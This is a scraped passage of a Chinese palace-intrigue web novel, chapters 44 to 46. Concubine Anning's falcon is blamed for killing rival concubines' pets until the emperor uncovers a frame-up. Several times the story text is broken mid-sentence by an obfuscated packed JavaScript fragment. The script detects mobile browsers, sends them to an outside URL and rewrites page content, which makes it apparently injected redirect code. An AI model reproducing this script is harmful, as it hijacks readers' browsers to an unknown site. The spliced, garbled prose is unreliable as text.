周嫔用完糕点,侍女拿来浸湿的帕子给她。她一边擦着手,一边笑看着顾珂柔:“我原还想着,你要到明年才能进宫。听说增开选秀我就掰着手指算着你的生辰,就盼着和你相见。只是没想到先进宫的是你的胞妹,幸好转而没几日就听见了你封贵人的消息。” 顾珂柔道:“若不是你随着周伯父外放,咱们也不至于两三年不见。” “如今好,都在一个宫里,倒比在宫外时见面来得容易。”周嫔嘱咐顾珂柔,“你要常常来陪我,我在这里闷得厉害!” 顾珂柔应下:“好好,多来陪你。” 周嫔关心地看着她:“你这软绵的性子,昨夜怎么会同王嫔起那般大的冲突?王嫔背后是太后,得罪她不是好事。” 顾珂柔便将王嫔赏赐故意划破的锦缎的事情讲了一遍,末了道:“我妹妹说的也对,开了这个口子,宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617464|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里这些人都冷眼瞧着,只怕日后真的人人都要来踩上一脚,还不如这般闹将开来,让其他人也掂量掂量。” 周嫔叹了口气:“我们倒是都想安安生生的过日子。可若旁人不愿让我们安生,又有什么法子?既然进了宫,总要面对这些算计。” 顾珂柔也轻叹了一声。 周嫔看着顾珂柔,心里却在想别的事情。她原以为以顾珂柔的身世才貌,必然如她一般进宫便会封一个嫔位。眼下看来有顾安宁这个妹妹珠玉在前,无论如何圣上和太后短时间内不会再对她大肆封赏,不可让顾家风头太盛。说不得她以后总要被她的胞妹压着一头。她有些心疼她:“你这个胞妹性格那般热辣,对你可还好?” 顾珂柔道:“手足血脉,她待我极好。” 周嫔看她提起妹妹眉眼间极为自然,显然姐妹两感情是真好,放下了心:“那你再来,将她也带着,咱们三人也热闹些。” 安宁起得晚,睡醒了之后去寻姐姐才知道她去了启祥宫,便在院子里等着姐姐回来。 毓德宫里新添了两个专职的小太监,负责照顾宫里的珍禽异兽。小太监胳膊上绑着护臂,海翼威风凛凛地站立其上,他将海翼举起来到安宁面前,安宁伸手摸了摸海翼的翅膀:“我怎么瞅着它精神差了许多?” “精神头是差了不少。”小太监回道,“金雕是猛禽,需要放飞到天空去翱翔,这么整日里拴在柱台上,难免精神会差许多。” 海翼送进京以后,就一直被拴养着,安宁不由得心疼,解开了海翼脚上的铁链和身上的缚翅。海翼突然得到自由,张开翅膀闪了闪,翼展近五尺的猛禽带起了一阵风,引得四周围围观的小宫女们发出了阵阵惊呼。 海翼腾空而起,舒展翅膀飞上了天空。 安宁站在廊下,用手搭了凉棚打量着越飞越高的海翼,直到它在空中成为了一个盘旋的小黑点。 不仅是皇宫,距离皇宫不远的路亲王府、长兴侯府和保国公府也能看见天空中盘旋地那个黑点。 天气越来越冷,南湖结了厚厚地一层坚冰,不复烟波浩渺的景象。白雪皑皑,压在湖边的老垂柳上,又是一番景致。 伯言站在长兴侯府后湖的柳树下,远远眺望着如同一道睡龙般盘旋在山上的皇宫建筑群。远远看去红墙雪顶层层叠叠,气势巍峨,就在那其上的天空中,一个黑点正在不停地盘旋。 放眼整个京城,也唯有安宁的猎鹰海翼能有这般气势。 他原本只是远远地眺望着那处,未曾想会看见海翼。隔着遥远的距离、高高的宫墙和森严的守卫,他仿佛看见她站在那处伸展开双手向着天空放飞了猎鹰。 猎鹰向往自由,她又何尝不是?! 他的眸子里翻涌着极为复杂的情绪,微微抿紧了薄唇,看着天空一言不发。 长兴侯夫人原本还在说着话,看见他脸上的神情顺着他的目光看过去,不由得轻笑了一声:“你看上的那只金丝雀如今已经入了宫,所谓人算不如天算。事已至此也只能这么罢了。不如再想想别的法子。世间的路有千万条,她不过是容易走的那条路而已。” 伯言收回视线看向长兴侯夫人:“为何要罢了?” 长兴侯夫人微微睁大了眼睛,看了伯言半晌,突然笑道:“世子,你可真是个无情无义的狠心人哪!” 45. 44 永宁宫内,李才人站在廊下,拿着一个拳头大小的釉红瓷罐正在逗一只通体雪白的鹦鹉。她手里拿着吃食对鹦鹉道:“快说,恭喜发财。” 鹦鹉偏头看了看她,张嘴说了一句:“恭喜发财。” “才人,您这鹦鹉训得是越来越好了。”一旁的贴身丫鬟恭维道,“如今它会说的话越来越多,跟个小孩似的逗人喜欢。” 李才人把吃的喂给鹦鹉,展颜一笑:“白雪聪慧,你别看它是个长毛的家伙,这内里真和小孩没什么两样。” 主仆正逗弄着,原本在金丝架上好端端的鹦鹉突然炸起了浑身的羽毛,尖锐地叫着惊慌失措不停拍打着翅膀,发疯似的想要从架子上挣脱,奈何脚上套着细铁链子,让它无法飞起。这一变故让李才人措手不及,被白雪打掉了手里拿着的红釉瓷罐,吃食洒了一地。 “白雪!”李才人顾不上瓷罐,着急地看着自己的鹦鹉,“这是怎么了?” 空中突然闪电般降下一道庞大的阴影,伸出利爪抓住了鹦鹉白雪腾空而起,那细铁链没有任何阻拦作用,轻而易举就被扯断成了两截。 “啊!”宫女们惊慌失措地惊呼着,几个胆大的宫女和太监第一时间护住了李才人,李才人眼睁睁看着白雪被抓走,因为惊恐声音都变了形:“那是什么东西?那是什么东西?!” 等那黑影飞出去了一段距离,下面的太监才惊魂未定地看清:“是……是猎鹰!” 一旁的宫女失声道:“宫里怎么会有猎鹰?!” “宁昭仪!”李才人回过神来,咬牙切齿地看着飞远地海翼,“是她的猎鹰!” 永和宫里,李才人哭哭啼啼地讲述了之前自己的鹦鹉被宁昭仪的猎鹰叼走的事情,末了梨花带雨地看着王嫔:“宁昭仪在宫里放养这般猛禽,今日是我的鹦鹉,明日指不定便是您的狸奴!万一那猎鹰伤人,我等又如何防范?!娘娘,你要给我们做主啊!” 王嫔头疼地揉了揉额头,对一旁的周公公道:“去请宁昭仪过来。” 周公公领命而去,王嫔这才看向李才人:“你也知道,我如今虽然是一宫主位,在这后宫里位份最高,可若论宠爱,却不及宁昭仪万一。圣上如何偏宠她,大家都看在眼里。我便是请了她来,也只能不疼不痒地责罚她几句,说得轻了替你讨不了什么公道,说得重了,指不定还会把我自己牵连进去。” 王嫔深深地叹了口气,“不过是个畜生,等宁昭仪来了,我说上她几句,给你个台阶下,你就下吧。不要不依不饶地同她争辩,想着为你的鹦鹉讨什么公道。” “娘娘!”李才人震惊地看着她,“您怎么能这般忍让她!便是圣上偏宠,她也不可无法无天到这等地步!这还有没有道理可言?” “这后宫哪有什么道理?”王嫔无奈地看着李才人,“圣上偏爱谁,道理就在谁那里。顾氏姐妹前几日来我这里闹了一场,你可见我讨了半分好?还得责罚自己宫里的人息事宁人。” 李才人闻言忍住了眼泪,拿着手帕怔怔地,不知道在想些什么。 过了约莫两刻钟,周公公回返:“娘娘,宁昭仪来了。” 李才人抬头看向门外,见安宁一身月白色打底绣着粉紫色秋海棠的云锦衣裳,外面罩着一件白色的纯狐皮及地披肩,头上簪着赤金点翠的簪子,一抬手腕间滑落两个镯子,一个通体碧绿水波流转的翠玉,一个镶了五色宝石的绞纹赤金,行走间露出的鞋尖是蜀锦的缎面缀着黄豆大小的珍珠。这一身华贵再加上她皎月般的容貌,真如明月落入人间,将宫里的众人都比了下去。 安宁上前行礼:“臣妾毓德宫昭仪顾安宁,给王嫔娘娘请安。” “起吧。”王嫔同样打量着安宁,只觉得她一日比一日明艳,针一样扎着她的眼睛,“我宫里的香巧那日做了蠢事,如今我已经责罚过她。打了她十个板子,罚俸半年,降为了二等侍女。” 安宁平淡地回答:“娘娘秉公办理,公道自在人心。” 王嫔压住心里的种种不快,勉强露出一丝笑容:“今日请你来,是有一桩事儿要公断。李才人宫里的鹦鹉白雪突然让一只猎鹰扑下叼走。宁昭仪,这宫里只有你养着猎鹰,可是你的猎鹰犯下的事情?” 安宁看向李才人,见她眼睛通红似有戚色。白日里她确实放飞了海翼,可海翼回来的时候并没有沾染上血迹或者鹦鹉的羽毛。安宁不确定是不是海翼,但仍是有些愧疚:“我下午确实放飞了海翼,但海翼归来时不曾见有捕猎的痕迹……” “宁昭仪。”李才人抬头看向她,“你的海翼是你的宝贝,我的白雪也是。” 安宁一时讷讷,不知道说什么好。 王嫔看了看两人的神色:“好了好了。你也问过了宁昭仪,宁昭仪也说了,她的猎鹰不曾有捕猎的痕迹。京城这般大,也未必只有宁昭仪有猎鹰,是外面的野鹰飞来捕猎也未可知。大家都是姐妹,犯不上因为这点子小事伤了和气。” 李才人想要说什么,想起先前王嫔的告诫,忍着气紧紧捏住了手里的帕子。 安宁一时意外王嫔竟然会向着她说话,原本竖起的警戒也放平了许多。或许王嫔也不愿同她针锋相对,既然她想息事宁人,她自然下坡就驴:“若是海翼所为,我自然会给你个交代。” “如何交代?”李才人到底气不过没有忍住,“过了这么久,白雪只怕早就进了猎鹰的肚子!难不成你还能让它死而复生不成?若是有人将你的猎鹰杀了再给你个交代,你可愿意?!” 安宁眉头微皱,可想着她是因为失了爱宠伤心:“李才人,未必是我的海翼所为。” 李才人还要开口,王嫔低喝了一句:“好了!” 李才人捏紧了帕子,压下了想说的话。 王嫔看向安宁:“不管是不是你的猎鹰所为,你那猎鹰到底是猛禽,伤了旁人的爱宠或伤了人都不是什么好事,以后还是要严加看管,不要再随意放飞了。” 王嫔说的有道理,安宁自然不会同她争辩:“臣妾谨记。” 待安宁离开,王嫔看向李才人:“你也回吧,我也乏了,此事就此了之,日后不要再提。” 李才人出了永和宫,一边走一边抹着眼泪。她身旁的丫鬟豆蔻见状出言安慰:“才人,你不要太伤心了。” 李才人恨恨道:“只是因为她受宠,便这般无法无天。我的白雪白白死了,甚至没法替它讨上一个公道!”她突然停下脚步看向毓德宫的方向,“她最好盼着永远能够得宠!否则失宠那一日,便是她万劫不复的开始!” 安宁回宫让人拿来了灯笼,将海翼带到廊下灯火明亮之处,举着灯笼仔仔细细地检查了它的爪子和嘴唇,并未见丝毫血迹和其它捕猎的痕迹。 负责照顾海翼的小太监见状奇道:“昭仪,您在找什么呢?” 安宁道:“永宁宫李才人的鹦鹉下午让猎鹰叼走了,怀疑是海翼所为。我要仔细查查看,是不是它犯下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明帝点点头,唤来黄大伴:“你去珍禽司,好好挑选一只鹦鹉,送去给李才人。” 他同安宁携手进了内殿,随行的近侍送上来一个盒子放在安宁面前。安宁好奇:“这是什么?” 他笑看着她:“打开看看。” 这盒子不小,长约两尺,扁平状,看着不像是装着首饰一类。安宁打开,轻轻的啊了一声。盒子里平躺着一把弓,做工极为精细。她爱不释手地拿了出来,对她来说拉力正好,稍微用劲就拉了满弦。 他看着她,满眼都是笑容:“再过几日就是上巳节,我想着送你个礼物。寻常的首饰怕你不喜欢,想来想去就命人挑了这张弓来送你,你可喜欢?” 她高兴极了:“喜欢!”她放下弓挽住明帝的胳膊,将头靠在他的肩头,“四叔,你真的太好了!” 他轻轻拍了拍她的背,因为她的靠近心底一片柔软:“喜欢就好。” 永宁宫里,李才人枯坐着看着屋角空空的金丝架正在伤心,豆蔻前来通传:“娘娘,内务府来人了。” “这个时辰?内务府来做什么?”李才人不解,“请他们进来吧。” 豆蔻请了内务府的公公们入内。来人请了安,揭开了手里举着的一个金丝笼子上的罩布:“才人,奴才奉圣上口谕,从珍禽司里着意挑选了这只鹦鹉给您送过来,请您过目。” 李才人一见那通体雪白的鹦鹉,便如同看见了自己的白雪,不由得又想起了先前白雪被抓走的那一幕,悲从心来。她强压着起身接了鹦鹉:“臣妾叩谢圣恩!” 太监们一走,李才人就将那鹦鹉放到一旁落下泪来。王嫔娘娘说的对,圣上的心在宁昭仪身上,她如何能讨得半分公道?于她而言那是她的白雪,于圣上而言,不过是再寻个好看的鹦鹉给她便是了。 46. 45 冬日的最后一场雪落在二月末。积雪融化之后,天气渐渐转暖,院子里的枯木枝上露出了点点米粒大小的绿芽。春风拂面,不再似冬日寒风那般凌冽,风柔和得像少女带着春日融融的暖意。 寒冬褪去,大地复苏。安宁的寝殿里再用不住烧炭的铜暖炉,毫不间歇燃烧了一个冬天的铜炉终于熄灭被宫人们挪了出去。白日里寝殿也不再紧闭门窗阻挡室外的寒气。大门处厚重的棉帘被撤下,窗户也被支了起来,让清新的空气涌入殿内。 宫人们也都脱下了厚重的深色宫装,换上了颜色清浅的春服,似乎也映照着春日的勃勃生机。 安宁也换上了一身浅绿的春装,那颜色如同小草的新芽,衬得她仿佛是这春日里的精灵。她在廊下拿着瓷罐给两只孔雀洒食吃,两只孔雀长长的尾羽拖在身后,似穿着华丽的长裙。春日是孔雀羽毛最丰美的时候,阳光下闪烁着五彩的华光,尤其尾羽上的花纹仿佛镀金了一般,灿烂夺目。 白黄大伴进了毓德宫,穿过天井走到安宁身旁,躬身行礼:“昭仪,圣上有旨,传您去觐见。” 安宁将手里的瓷罐交给一旁的白蔻:“有劳黄大伴。” 她待要去换上一身衣裳面圣,黄大伴拦住了她:“昭仪,您这身就很好,快些去吧,圣上在等着您,就莫要耽搁了。” 安宁听从了黄大伴的话,白蔻和沉香要如往日一般跟上,也被黄大伴拦住:“两位姑娘请留步,今儿个圣上要昭仪独自前往。” 若是旁人来宣旨又拦住了白蔻和沉香,安宁断然不敢轻信,可来的是黄大伴,是朱弘辉身边一直跟着的心腹近侍。她虽然心存疑虑,仍然吩咐两个丫鬟:“你们便在宫里歇着吧。” 毓德宫外备着一顶四人抬的软轿,等安宁上了轿,软轿一路向北,穿过御花园最后到了皇宫最偏僻的北门处。黄大伴请安宁下轿,北面的角门大门敞开着,外面停着一辆八匹大马拉着的马车,乌木蓝蓬顶,十分低调。安宁回头看了黄大伴一眼,黄大伴笑道:“昭仪,圣上在车上等着您呢。” 明帝穿着一身常服坐在车里,见着安宁上车,他向她伸出了手。安宁将手放在他手中,被他引着在他身边落座,安宁打量着他褪去龙袍换作了朱思的打扮:“四叔,这是要出宫不成?” “嗯。”他微笑着看着她,“今日上巳节。宫里不过这个节,听闻民间十分热闹,想着带你出去走走。” 安宁整个人肉眼可见的亮了起来:“真的?!” 他眼里的笑意更深:“真的。” 说话间马车前行,安宁迫不及待地掀开车帘看向外间。 在宫里关了这小一个月,她早就十分思念宫外的生活。可她心里也清楚,进了宫再能出去的机率渺茫。明帝说得空带她出宫,她也没有视作承诺,却不曾想今日给了她这么大的惊喜。 马车一路下山,过了护城河出了皇宫的范围之后,眼前的景象渐渐热闹了起来。 马车在街口停下。朱弘辉扶着安宁下了车,两人带着近侍顺着长街信步而行。 西凉河化了冻,河岸两边的垂柳冒出了新芽,几乎是一夜之间,原本光秃秃的褐色地面上冒出了浅浅的一层新绿,今日上巳节,有不少学子和少女在河边踏青郊游。穿着青衫的学子们在树下席地围坐高谈阔论,新换上春装的少女们则在河水边放花船祈福。 一路行来欢声笑语,太阳暖洋洋地照在身上。 河道上空放飞着许多纸鸢,安宁用手搭了凉棚遥望着天空。朱弘辉见状唤来黄大伴低语了几句,过不多时,随行的护卫就送来了一个大大的燕子纸鸢,朱弘辉接过交到安宁手中:“去玩吧。” 安宁欢呼一声,拿着纸鸢跑去了河道边的开阔地。明帝远远站在垂柳下看着她,看她活泼地拉着纸鸢在河道上奔跑着,慢慢地她身后的纸鸢乘风而起,渐渐越飞越高。 黄大伴笑叹道:“二姑娘真有活力。” 明帝一贯淡漠的眼里是唯有对安宁才有的包容和温柔:“她一直如此才好。” 慈宁宫,王太后刚用过早膳,就听身边的王大伴来报:“娘娘,王嫔带着一众人在宫外候着。老奴见两位才人和选侍面带泪痕,怕是有什么事儿。” “哦?”王太后放下了手里的茶盏,“让她们去前厅吧。” 王太后到了前厅,王嫔带着一众女眷们矮身行礼,王太后抬了抬手:“都起吧。” 她的目光落到下面的李才人和梁选侍脸上,见两人都面带泪痕,梁选侍看着更是颇为狼狈,头发凌乱,半露的脖颈上带着伤痕。她微不可见地皱了皱眉头落座,看向了下首的王嫔。 还未等王嫔开口,梁选侍抢先一步上前,噗通一声跪在厅堂中央:“启禀太后,臣妾今日在自己的宫里遇袭,还请太后替臣妾主持公道!” “遇袭?”王太后打量着她凌乱的妆容和身上的伤痕,“你慢慢说,怎么回事?” “臣妾在长廊下逗猫,突然半空里扑下一个黑影,直奔臣妾的琉璃。臣妾心急要护着琉璃,被那畜生抓伤。”梁选侍拉开自己的衣领,露出下面的伤痕,又揭起衣袖,胳膊上也是触目惊心的血痕,梁选侍落着泪,“那畜生伤了臣妾,抓住琉璃便飞走,臣妾没有半点法子。” “太后。”李才人出列,在梁选侍身边跪下,“前几日臣妾眼睁睁看着鹦鹉白雪被猎鹰叼走。臣妾去寻王嫔娘娘主持公道,可那宁昭仪仗着自己受圣上宠爱,丝毫不将臣妾放在眼里,推脱此事同她无关。” 李才人也落下泪来,她擦了擦脸颊边的泪水,凄凄切切道,“当日娘娘温言提醒过宁昭仪,要看顾好她的猎鹰,莫要放出来伤人。”她拉起一旁梁选侍的胳膊,再度露出上面的伤,“今日就发生了这样的事情!” 王太后看向下首的王嫔:“怎么回事?” “确有此事。”王嫔小心回答,“臣妾不想因着一只鹦鹉将事情闹大,所以只是告诫了宁昭仪几句,让她好生看管好自己的猎鹰。那毕竟是猛禽,万一伤着人不好……不曾想会发生这样的事情。” 王太后皱着眉头听完,看向身旁的王大伴:“去宣宁昭仪来。” 王大伴领命而去:“是!” 过了约莫一刻钟,王大伴去而复返,却只见他孤身一人回返,不见安宁和他同行。王太后不悦地看着他:“你怎么办的差事,人呢?” “回禀太后。”王大伴小心地回话,“老奴去了毓德宫,宁昭仪一早便被圣上宣去觐见,眼下……圣上和昭仪皆不在宫中。” 此话一出,原本还在落泪的李才人和梁选侍面色皆是一滞,余下众人也神色各异,王太后哦了一声,淡淡道:“今儿个是上巳节。想来圣上是带着宁昭仪踏青去了。” 王大伴顿了顿:“老奴见宁昭仪不在,便特意去寻那猎鹰,想着查验一番。负责照顾猎鹰的小太监领了老奴去,发现原本关猎鹰的屋子窗户洞开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651287|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁着的铁链也被挣断,屋子里有不少凌乱的羽毛和血迹。不过老奴未曾见到猎鹰。” 听了这些话,太后未置可否。她看向下面跪着的李才人和梁选侍:“你们也别在这儿跪着了,回宫去宣太医来好好诊治。等圣上和宁昭仪回了宫,再来论个公断。” 李才人和梁选侍深深低下了头:“是,多谢太后!” 安宁在宫外随着明帝高高兴兴玩了一天,赶在宫门落锁前回了皇宫。她的软轿刚在宫门前落地,就见白蔻和沉香一脸焦急地候在门口快步迎了上来:“昭仪,您可算回来了。” 安宁手里还拿着明帝给她的燕子纸鸢,脸上皆是明亮的神色:“怎么了?” “太后娘娘白日来宣您去慈宁宫觐见,您不在。王大伴去了偏院查看海翼,谁知海翼房间的窗户洞开着,屋子里满是血迹和凌乱的羽毛,铁链挣断,海翼不知所踪。”白蔻快言快语,“奴婢瞧着情形不对,悄悄出去打听,听说永宁宫梁选侍的猫被猎鹰叼走了!这还不算,梁选侍还被猎鹰所伤!” 安宁神色一凝,将手里的纸鸢交给沉香吩咐她拿进去收着,自己带了白蔻和白薇径直去了慈宁宫请罪。 见着安宁王太后并没有苛责,慈爱地看着她:“今日和辉儿出宫踏青去了?” 安宁跪地低头行礼:“回禀太后,臣妾不知猎鹰犯下了大错,又不在宫中听候宣召,请太后责罚!” “陪侍圣上,这是你身为后宫嫔妃应尽的本份,因此没有听候宣召,不是你的错。”王太后道,转而看向一旁的王大伴,“既然宁昭仪已经回宫,时辰还早,去宣李才人和梁选侍来,把这事儿弄个清楚明白。” 安宁低着头避让到一旁,没过多久,李才人和梁选侍便应宣而来。她们前脚刚到,外面便传来通传声:“圣上驾到~~” 两人闻言神色有些微妙,众人皆起身迎接明帝。朱弘辉掠过众人:“儿臣给母后请安。” “后宫里这些家长里短,我还想着把事情弄明白了再去告诉你。”王太后微笑着看着明帝,“既然来了,你也来听一听,坐吧。” 明帝在太后身旁落座,看向下方众人。太后看着李才人和梁选侍,温言开口:“如今哀家和圣上都在这儿,你们有什么冤屈不平的,尽管讲出来。哀家给你们做主。” 梁选侍闻言上前跪下,将先前的说词复述了一遍,末了抬起胳膊露出包扎的伤处,楚楚可怜地看向明帝:“求圣上垂怜。”说罢深深地叩首下去。 安宁不安地咬了咬嘴唇看向明帝,明帝并没有看她,而是唤来了黄大伴:“去宣太医院曹院判来。” 等待的时间里,殿里众人皆一言不发。宫女上了热茶,太后看向明帝:“今日出宫可还好?” “一切都好。”明帝恭谨回答,“朕见百姓安居,四处欣然向荣,便知民心安定。” 太后笑着点了点头:“很好。这宫墙隔断的东西太多,唯有自己出去走一走看一看,才能见着真正的东西。” 曹院判应召匆匆而来。太后停住了话头,明帝道:“你且仔细看看梁选侍身上的伤。” “是。”曹院判放下携带的药箱,跪到梁选侍身侧,慢慢揭开了下午包扎好的膏药,露出了下面的伤处。他仔细查验了一番回头对明帝道,“启禀圣上,梁选侍都是皮外伤,所幸伤的不重,用一段时间金创药便可痊愈。” 明帝点了点头:“这伤,可是猎鹰利爪所致?” 47. 46 曹院判稍作思忖,慎重回答:“禀圣上,猎鹰爪利,若是落到人手臂上,抓伤深可见骨,梁选侍的伤大都浅显只伤了表皮,更像是刮伤和擦伤,依老臣所见,非猛禽所致。” 梁选侍面色大变,抬头飞快地看了一眼上面的太后和明帝,低头咬着唇身体微微颤抖个不停。 明帝没有看梁选侍,对黄大伴道:“把人带进来吧。” 几个侍卫压着一个小太监进了内殿,那小太监见了太后和明帝,跪在地上不停叩首:“圣上饶命!太后饶命!” 小太监后面跟着一个人,正是毓德宫的掌事太监陈公公。他上前行完礼道:“今儿个昭仪随同圣上出了门,小的想着主子不在宫中,需紧守门户,就嘱咐了下面一声。未曾想恰好遇到此人趁着宫卫换值时鬼鬼祟祟摸进了偏殿,他拿了只死猫进了昭仪豢养猎鹰的房间,又故意弄断了猎鹰的脚链,还揭了猎鹰的眼罩。不曾想猎鹰性子刚烈,此人被伤。” 陈公公上前一把抓起小太监的胳膊,只见其上触目惊心的伤痕,皮肉翻卷肌肉撕裂,由于伤口没有处理过,整个胳膊已经肿胀发紫,看着十分可怖。 陈公公放下小太监的胳膊,躬身不疾不徐继续道,“猎鹰受惊从窗户飞了出去。我等暗地里尾随此人,等他回去复了命,才偷偷将其拿下。请太后、圣上明鉴。”说罢他拍拍手,手下的小太监抱着一具猫尸进来,给太后和明帝过目。 明帝看向梁选侍:“你自己看一看,这可是你的猫?” 梁选侍浑身抖如糠晒,冷汗湿透了后背,她惊恐得说不出话来。 明帝淡漠的视线落到李才人身上,后者一惊,上前跪下伸手赌咒发誓:“圣上明鉴!臣妾和宫里诸人亲眼所见,妾身的鹦鹉白雪是被猎鹰突然擒走,妾身若有半点虚言,天打雷劈不得好死!” 明帝转而看向梁选侍:“你可还有话要说?” “臣妾……臣妾……”梁选侍结结巴巴,冷汗大滴大滴从额头滴落,落到地面上洇出点点深色水圈。 明帝的声音复又响起:“你做下这样的事构陷宁昭仪,可有人指使?” 梁选侍抬头看向明帝,视线和王太后冰冷的眼睛一碰,她飞快地低头,拼命叩首:“是前些日子在永和宫,臣妾因和宁昭仪起了龃龉后被……被撤下了绿头牌。臣妾因而对昭仪怀恨在心,听说李才人的事后,趁机诬陷。此事乃臣妾一人所为,与旁人无关。臣妾一时鬼迷心窍犯下错事,求太后和圣上饶命!” 说罢砰砰磕着头,额头很快就见了血色。 王太后皱眉挥了挥手,一旁上去几个近侍拉住了她,不许她再猛力叩首。梁选侍被那几个近侍架着如同没有骨头一般,已被吓得浑身瘫软。 “带下去吧。”王太后道,“梁选侍嫉恨后妃,存心构陷,带下去责罚二十大板,撵出宫去,还与梁家。” “梁家家风不正。”明帝慢悠悠开口补充,“凡梁家女子,夺其选秀资格。梁家自梁选侍起往后三代男子,科举永不录用。” 梁选侍闻言面色苍白双眼失了神采,呆呆地任凭人将其拉走,再说不出半个字来。 李才人见状也不禁浑身发抖,惊恐地跪在原地,只怕这把火烧到自己身上。 “此事既然与你无关,你且去吧。”王太后对李才人道,复又对抱着猫尸的小太监皱眉,“快把这腌臜东西弄出去。” 李才人匆匆行礼离开了慈宁宫。 等到大殿内只剩安宁一人,王太后才慈爱地看着她:“你也累了一日,事情已经水落石出,回去休息吧。” 安宁规规矩矩的行礼谢恩:“谢太后恩典!” 明帝也起了身:“劳累母后,还请母后早些安歇。” 李才人脚步匆匆,在宫里的甬道内捂着心口快步行走着。她身边的宫女叫了她好几次,她才如梦初醒般停下了脚步。她转身抓住宫女的胳膊:“香儿,你说,我们是不是没事了?” 香儿看着李才人因恐惧而微微变形的脸:“此事同你无关啊才人。咱们的鹦鹉确实是被宁昭仪的猎鹰所伤,并无半点虚言。” 李才人摇了摇头,惊魂未定地看向慈宁宫的方向。只觉那洞开的宫门像是一个深不见底的血盆大口,她第一次由心底生出一种强烈的恐惧。短短几句话之间,梁家就因为梁选侍犯下的事落入了万劫不复之地,梁选侍被交还梁家会是个什么结局也不言而喻。 她深刻地认识到了自己是在宫中,再不是在家里那个被娇宠的嫡女。皇权染血,一言可定生死。她此前还对安宁满怀怨忿,如今却被吓破了胆。她拉着香儿的胳膊:“回宫,快回宫!” 安宁同明帝出了慈宁宫,月色清浅,映照着脚下的路。安宁道:“四叔,陈公公早就同你报了那太监的事,是不是?” “一早便报了。”明帝道,“我就想看看,她们到底想如何。” 安宁垮下了双肩,看着有些闷闷不乐。他打量着她的神色,温言开口:“怎么了?是被气着了,还是被吓着了?” “都没有。”安宁摇头,“我只是突然觉得,进宫还没几日,就发生了这么多事情。”她叹了口气,“明枪易躲暗箭难防,如今你信我,这些事儿也能查清是别人陷害。若……若有一日你不再信我,我又该如何自处?四叔,”她抬头看着他,月辉落在她眼睛里,“你对我太好了,好到人人都有了妒忌心。你若将我视作同旁人一样,她们是不是就不会一直盯着我了?” 他反问她:“在你眼里,我是否同旁人一样?” 她分辩:“自然不一样,你是朱四叔啊!” 他安静地追问:“只是你的四叔?” 她一时怔忡。 他看着她的眼睛慢慢道:“我不愿在你心里,只是你的四叔。” 起风了。风中带着微湿的雨腥气,撩起了纱帘,卷进内殿,卷得案桌上的书卷哗啦啦作响。 朱弘辉坐在案桌后正在看折子。那风吹得桌面上的烛火晃了几晃,黄大伴赶紧上前伸手护住火光,旁边的小太监机灵地拿来风罩奉上,黄大伴将羊皮风罩罩在烛火外稳定住了火光。火光从淡黄色的羊皮灯笼内透出来,变得弥散黯淡了许多。 “圣上。”敬事房的管事奉着托盘入内,双膝跪地高高举起,“请圣上翻牌子。” 他的视线往托盘上看过去,如今托盘上没有了梁选侍,撤去了恰逢月信的两人,却多了几个牌子,其中几个是第二轮新选进宫的新人,此外还有两个牌子,一个刻着宁昭仪,一个刻着顾贵人。 他的脑海里浮现起了先前的一幕。他对她道:“我不愿在你心里,只是你的四叔。” 那时她的眼神很复杂,还带着他不会错认的几分逃避。 往日在宫外,她待他要随性自在得多,如今在这宫墙内,他首先是皇帝,无论他想要什么,她都只能逢迎。那她如今面对他的笑容、依赖,有几分是出自真心?有几分是迫于现实的无奈? 他的视线长久地落在宁昭仪的绿头牌上,沉默着没有说话。敬事房的掌事公公双手举得有些酸软,向黄大伴投去了求救的眼神。黄大伴会意,小心地开口提醒:“圣上……” 朱弘辉回过神,略过安宁的牌子,拿起周嫔的翻了过去。敬事房的掌事公公如蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659911|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大赦,赶紧行礼退了下去。 慈宁宫内,王太后听着下面的太监来报,略有些惊讶:“翻了谁的牌子?” 小太监应道:“回禀太后,今夜圣上翻了周嫔娘娘的牌子。” 王太后挥了挥手:“下去吧。” 这倒出乎她的预料了。 朱弘辉对安宁有多用心,从此次梁选侍诬陷的事情上就可窥见一二。她原本以为,安宁的绿头牌放上去,过了今夜,整个后宫就会迎来一位盛极一时的宠妃,却不曾想,他翻了周嫔的牌子。 孩子到底是长大了,没有被情感冲昏头脑,让她也开始摸不清他的心思。 王太后放下了手里的玉滚轮叫来了王大伴:“备一份厚赏,明日一早送到启祥宫去。” 半夜的时候第一场春雨悄悄来临,淅淅沥沥地打在房顶上,发出沙沙的响声。 